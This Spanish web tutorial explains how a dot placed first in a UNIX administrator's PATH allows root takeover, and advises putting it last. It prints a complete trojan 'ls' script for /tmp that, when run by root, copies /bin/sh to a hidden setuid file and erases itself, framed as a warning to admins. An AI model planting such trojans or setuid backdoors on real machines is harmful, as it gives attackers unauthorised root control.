Apoderarse del superusuario de una
máquina UNIX
|
|
Aquí se explica un truco que aprovecha un
error en la configuración del PATH,
por parte del administrador de una máquina UNIX,
para apoderarse de su sistema. Este truco es válido
para cualquier máquina UNIX incluida, como no,
Mac OS X.
Nota: Este truco se explica con el fin de
que los administradores de una máquina eviten que
un usuario hostil viole la seguridad de su máquina,
y nunca con el fin de que los usuarios aprendan a violar
la seguridad de un sistema.
En cualquier caso macrogramadores.org no
se hace responsable del mal uso que se pueda hacer de la
información aquí suministrada.
Es muy típico que los administradores de las máquinas
UNIX añadan al PATH de su máquina un "."
con le fin de poder ejecutar los ficheros del directorio
actual donde se encuentran. Si es este su caso recuerde que
debe de hacerlo siempre al final del PATH y nunca al principio,
es decir, en sus ficheros de configuración del shell
(p.e. /etc/profile)
debe de poner:
export PATH=/usr/local/bin:/usr/local/lib:/bin:/usr/local/sbin:/usr/sbin:/sbin:.
Y nunca:
export PATH=.:/usr/local/bin:/usr/local/lib:/bin:/usr/local/sbin:/usr/sbin:/sbin
Vamos a poner un ejemplo de como un usuario llamado judas se apodera del control de una máquina UNIX en la que su administrador
no tuvo en cuenta este consejo.
En primer lugar al entrar judas en
su nueva cuenta en la universidad se da cuenta de que
le han asignado una cuenta de usuario en la que el primer
campo del PATH es el directorio
".",
como judas conoce este
truco se dirige al fichero /etc/profile (del
cual sólo tiene permiso de lectura) y comprueba eufórico
que el administrador ha colocado de la forma no recomendada
el PATH de
la máquina.
Lo siguiente que hace judas es preparar una trampa al administrador
para lo cual coloca en le directorio /tmp (en le que tiene
permiso de lectura y escritura) un fichero con permiso de
ejecución al que llama ls como
el que sigue:
#!/bin/sh
if cp /bin/sh /usr/bin/.superdude >/dev/null 2>/dev/null
then
chmod 4555 /usr/bin/.superdude
rm -f $0
fi
exec /bin/ls ${1+$@}
Y finalmente modifica el permiso de ejecución de este script
para que todo el mundo lo pueda ejecutar:
% chmod a+x /tmp/ls
En este momento la trampa esta tendida. Ahora lo único
que tiene que tiene que hacer judas es
esperar a que el ingenuo administrador pase por el directorio
/tmp y ejecute el comando ls.
Si algún usuario se pasea por estos lares al estar
el "."
como primer campo del PATH se
ejecutara el script de judas y
no el verdadero /bin/ls,
el comando cp fallará (ya
que los usuarios no tienen permiso para escribir en el directorio
/usr/bin)
y simplemente ese usuario obtendrá el resultado de
un ls en
pantalla. Pero cuando el administrador pase por ahí y
ejecute este
comando ls, el comando cp funcionará,
lo cual permitirá que se ejecute el cuerpo del bloque if y
al fichero .supersede se
le activará el bit de setuid, se borrará el
malvado script de judas y
el administrador obtendrá el resultado de un ls como
normalmente.
Cuando judas descubra
la existencia del nuevo fichero /usr/bin/.superdude lo
único que tiene que hacer es ejecutarlo y boala, acaba
de logarse como superusuario en la máquina.
|